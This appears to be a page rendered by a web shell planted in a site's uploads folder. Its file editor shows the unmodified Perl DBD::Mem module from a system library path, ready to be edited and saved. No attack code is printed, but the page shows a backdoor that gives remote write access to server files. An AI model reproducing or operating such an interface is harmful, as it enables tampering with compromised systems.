<h2>Edit File - Mem.pm</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/lib64/perl5/vendor_perl/DBD/Mem.pm">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;"># -*- perl -*-
#
#   DBD::Mem - A DBI driver for in-memory tables
#
#  This module is currently maintained by
#
#      Jens Rehsack
#
#  Copyright (C) 2016,2017 by Jens Rehsack
#
#  All rights reserved.
#
#  You may distribute this module under the terms of either the GNU
#  General Public License or the Artistic License, as specified in
#  the Perl README file.

require 5.008;
use strict;

#################
package DBD::Mem;
#################
use base qw( DBI::DBD::SqlEngine );
use vars qw($VERSION $ATTRIBUTION $drh);
$VERSION     = &#039;0.001&#039;;
$ATTRIBUTION = &#039;DBD::Mem by Jens Rehsack&#039;;

# no need to have driver() unless you need private methods
#
sub driver ($;$)
{
    my ( $class, $attr ) = @_;
    return $drh if ($drh);

    # do the real work in DBI::DBD::SqlEngine
    #
    $attr-&gt;{Attribution} = &#039;DBD::Mem by Jens Rehsack&#039;;
    $drh = $class-&gt;SUPER::driver($attr);

    return $drh;
}

sub CLONE
{
    undef $drh;
}

#####################
package DBD::Mem::dr;
#####################
$DBD::Mem::dr::imp_data_size = 0;
@DBD::Mem::dr::ISA           = qw(DBI::DBD::SqlEngine::dr);

# you could put some :dr private methods here

# you may need to over-ride some DBI::DBD::SqlEngine::dr methods here
# but you can probably get away with just letting it do the work
# in most cases

#####################
package DBD::Mem::db;
#####################
$DBD::Mem::db::imp_data_size = 0;
@DBD::Mem::db::ISA           = qw(DBI::DBD::SqlEngine::db);

use Carp qw/carp/;

sub set_versions
{
    my $this = $_[0];
    $this-&gt;{mem_version} = $DBD::Mem::VERSION;
    return $this-&gt;SUPER::set_versions();
}

sub init_valid_attributes
{
    my $dbh = shift;

    # define valid private attributes
    #
    # attempts to set non-valid attrs in connect() or
    # with $dbh-&gt;{attr} will throw errors
    #
    # the attrs here *must* start with mem_ or foo_
    #
    # see the STORE methods below for how to check these attrs
    #
    $dbh-&gt;{mem_valid_attrs} = {
        mem_version        =&gt; 1,    # verbose DBD::Mem version
        mem_valid_attrs    =&gt; 1,    # DBD::Mem::db valid attrs
        mem_readonly_attrs =&gt; 1,    # DBD::Mem::db r/o attrs
        mem_meta           =&gt; 1,    # DBD::Mem public access for f_meta
        mem_tables         =&gt; 1,    # DBD::Mem public access for f_meta
    };
    $dbh-&gt;{mem_readonly_attrs} = {
        mem_version        =&gt; 1,    # verbose DBD::Mem version
        mem_valid_attrs    =&gt; 1,    # DBD::Mem::db valid attrs
        mem_readonly_attrs =&gt; 1,    # DBD::Mem::db r/o attrs
        mem_meta           =&gt; 1,    # DBD::Mem public access for f_meta
    };

    $dbh-&gt;{mem_meta} = &quot;mem_tables&quot;;

    return $dbh-&gt;SUPER::init_valid_attributes();
}

sub get_mem_versions
{
    my ( $dbh, $table ) = @_;
    $table ||= &#039;&#039;;

    my $meta;
    my $class = $dbh-&gt;{ImplementorClass};
    $class =~ s/::db$/::Table/;
    $table and ( undef, $meta ) = $class-&gt;get_table_meta( $dbh, $table, 1 );
    $meta or ( $meta = {} and $class-&gt;bootstrap_table_meta( $dbh, $meta, $table ) );

    return sprintf( &quot;%s using %s&quot;, $dbh-&gt;{mem_version}, $AnyData2::VERSION );
}

package DBD::Mem::st;

use strict;
use warnings;

our $imp_data_size = 0;
our @ISA           = qw(DBI::DBD::SqlEngine::st);

############################
package DBD::Mem::Statement;
############################

@DBD::Mem::Statement::ISA = qw(DBI::DBD::SqlEngine::Statement);


sub open_table ($$$$$)
{
    my ( $self, $data, $table, $createMode, $lockMode ) = @_;

    my $class = ref $self;
    $class =~ s/::Statement/::Table/;

    my $flags = {
                  createMode =&gt; $createMode,
                  lockMode   =&gt; $lockMode,
                };
    if( defined( $data-&gt;{Database}-&gt;{mem_table_data}-&gt;{$table} ) &amp;&amp; $data-&gt;{Database}-&gt;{mem_table_data}-&gt;{$table})
    {
        my $t = $data-&gt;{Database}-&gt;{mem_tables}-&gt;{$table};
        $t-&gt;seek( $data, 0, 0 );
        return $t;
    }

    return $self-&gt;SUPER::open_table($data, $table, $createMode, $lockMode);
}

# ====== DataSource ============================================================

package DBD::Mem::DataSource;

use strict;
use warnings;

use Carp;

@DBD::Mem::DataSource::ISA = &quot;DBI::DBD::SqlEngine::DataSource&quot;;

sub complete_table_name ($$;$)
{
    my ( $self, $meta, $table, $respect_case ) = @_;
    $table;
}

sub open_data ($)
{
    my ( $self, $meta, $attrs, $flags ) = @_;
    defined $meta-&gt;{data_tbl} or $meta-&gt;{data_tbl} = [];
}

########################
package DBD::Mem::Table;
########################

# shamelessly stolen from SQL::Statement::RAM

use Carp qw/croak/;

@DBD::Mem::Table::ISA = qw(DBI::DBD::SqlEngine::Table);

use Carp qw(croak);

sub new
{
    #my ( $class, $tname, $col_names, $data_tbl ) = @_;
    my ( $class, $data, $attrs, $flags ) = @_;
    my $self = $class-&gt;SUPER::new($data, $attrs, $flags);

    my $meta = $self-&gt;{meta};
    $self-&gt;{records} = $meta-&gt;{data_tbl};
    $self-&gt;{index} = 0;

    $self;
}

sub bootstrap_table_meta
{
    my ( $self, $dbh, $meta, $table ) = @_;

    defined $meta-&gt;{sql_data_source} or $meta-&gt;{sql_data_source} = &quot;DBD::Mem::DataSource&quot;;

    $meta;
}

sub fetch_row
{
    my ( $self, $data ) = @_;

    return $self-&gt;{row} =
        ( $self-&gt;{records} and ( $self-&gt;{index} &lt; scalar( @{ $self-&gt;{records} } ) ) )
      ? [ @{ $self-&gt;{records}-&gt;[ $self-&gt;{index}++ ] } ]
      : undef;
}

sub push_row
{
    my ( $self, $data, $fields ) = @_;
    my $currentRow = $self-&gt;{index};
    $self-&gt;{index} = $currentRow + 1;
    $self-&gt;{records}-&gt;[$currentRow] = $fields;
    return 1;
}

sub truncate
{
    my $self = shift;
    return splice @{ $self-&gt;{records} }, $self-&gt;{index}, 1;
}

sub push_names
{
    my ( $self, $data, $names ) = @_;
    my $meta = $self-&gt;{meta};
    $meta-&gt;{col_names} = $self-&gt;{col_names}     = $names;
    $self-&gt;{org_col_names} = [ @{$names} ];
    $self-&gt;{col_nums} = {};
    $self-&gt;{col_nums}{ $names-&gt;[$_] } = $_ for ( 0 .. scalar @$names - 1 );
}

sub drop ($)
{
    my ($self, $data) = @_;
    delete $data-&gt;{Database}{sql_meta}{$self-&gt;{table}};
    return 1;
} # drop

sub seek
{
    my ( $self, $data, $pos, $whence ) = @_;
    return unless defined $self-&gt;{records};

    my ($currentRow) = $self-&gt;{index};
    if ( $whence == 0 )
    {
        $currentRow = $pos;
    }
    elsif ( $whence == 1 )
    {
        $currentRow += $pos;
    }
    elsif ( $whence == 2 )
    {
        $currentRow = @{ $self-&gt;{records} } + $pos;
    }
    else
    {
        croak $self . &quot;-&gt;seek: Illegal whence argument ($whence)&quot;;
    }

    $currentRow &lt; 0 and
        croak &quot;Illegal row number: $currentRow&quot;;
    $self-&gt;{index} = $currentRow;
}

1;

=head1 NAME

DBD::Mem - a DBI driver for Mem &amp; MLMem files

=head1 SYNOPSIS

 use DBI;
 $dbh = DBI-&gt;connect(&#039;dbi:Mem:&#039;, undef, undef, {});
 $dbh = DBI-&gt;connect(&#039;dbi:Mem:&#039;, undef, undef, {RaiseError =&gt; 1});

 # or
 $dbh = DBI-&gt;connect(&#039;dbi:Mem:&#039;);
 $dbh = DBI-&gt;connect(&#039;DBI:Mem(RaiseError=1):&#039;);

and other variations on connect() as shown in the L&lt;DBI&gt; docs and 
&lt;DBI::DBD::SqlEngine metadata|DBI::DBD::SqlEngine/Metadata&gt;.

Use standard DBI prepare, execute, fetch, placeholders, etc.,
see L&lt;QUICK START&gt; for an example.

=head1 DESCRIPTION

DBD::Mem is a database management system that works right out of the box.
If you have a standard installation of Perl and DBI you can begin creating,
accessing, and modifying simple database tables without any further modules.
You can add other modules (e.g., SQL::Statement) for improved functionality.

DBD::Mem doesn&#039;t store any data persistently - all data has the lifetime of
the instantiated C&lt;$dbh&gt;. The main reason to use DBD::Mem is to use extended
features of L&lt;SQL::Statement&gt; where temporary tables are required. One can
use DBD::Mem to simulate C&lt;VIEWS&gt; or sub-queries.

Bundling C&lt;DBD::Mem&gt; with L&lt;DBI&gt; will allow us further compatibility checks
of L&lt;DBI::DBD::SqlEngine&gt; beyond the capabilities of L&lt;DBD::File&gt; and
L&lt;DBD::DBM&gt;. This will ensure DBI provided basis for drivers like
L&lt;DBD::AnyData2&gt; or L&lt;DBD::Amazon&gt; are better prepared and tested for
not-file based backends.

=head2 Metadata

There&#039;re no new meta data introduced by C&lt;DBD::Mem&gt;. See
L&lt;DBI::DBD::SqlEngine/Metadata&gt; for full description.

=head1 GETTING HELP, MAKING SUGGESTIONS, AND REPORTING BUGS

If you need help installing or using DBD::Mem, please write to the DBI
users mailing list at L&lt;mailto:dbi-users@perl.org&gt; or to the
comp.lang.perl.modules newsgroup on usenet.  I cannot always answer
every question quickly but there are many on the mailing list or in
the newsgroup who can.

DBD developers for DBD&#039;s which rely on DBI::DBD::SqlEngine or DBD::Mem or
use one of them as an example are suggested to join the DBI developers
mailing list at L&lt;mailto:dbi-dev@perl.org&gt; and strongly encouraged to join our
IRC channel at L&lt;irc://irc.perl.org/dbi&gt;.

If you have suggestions, ideas for improvements, or bugs to report, please
report a bug as described in DBI. Do not mail any of the authors directly,
you might not get an answer.

When reporting bugs, please send the output of C&lt;&lt; $dbh-&gt;mem_versions($table) &gt;&gt;
for a table that exhibits the bug and as small a sample as you can make of
the code that produces the bug.  And of course, patches are welcome, too
:-).

If you need enhancements quickly, you can get commercial support as
described at L&lt;http://dbi.perl.org/support/&gt; or you can contact Jens Rehsack
at rehsack@cpan.org for commercial support.

=head1 AUTHOR AND COPYRIGHT

This module is written by Jens Rehsack &lt; rehsack AT cpan.org &gt;.

 Copyright (c) 2016- by Jens Rehsack, all rights reserved.

You may freely distribute and/or modify this module under the terms of
either the GNU General Public License (GPL) or the Artistic License, as
specified in the Perl README file.

=head1 SEE ALSO

L&lt;DBI&gt; for the Database interface of the Perl Programming Language.

L&lt;SQL::Statement&gt; and L&lt;DBI::SQL::Nano&gt; for the available SQL engines.

L&lt;SQL::Statement::RAM&gt; where the implementation is shamelessly stolen from
to allow DBI bundled Pure-Perl drivers increase the test coverage.

L&lt;DBD::SQLite&gt; using C&lt;dbname=:memory:&gt; for an incredible fast in-memory database engine.

=cut
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/uploads/products/others/6a3fbcc2deec3_65.php?dir=." class="btn gray">Kembali</a>
              </form>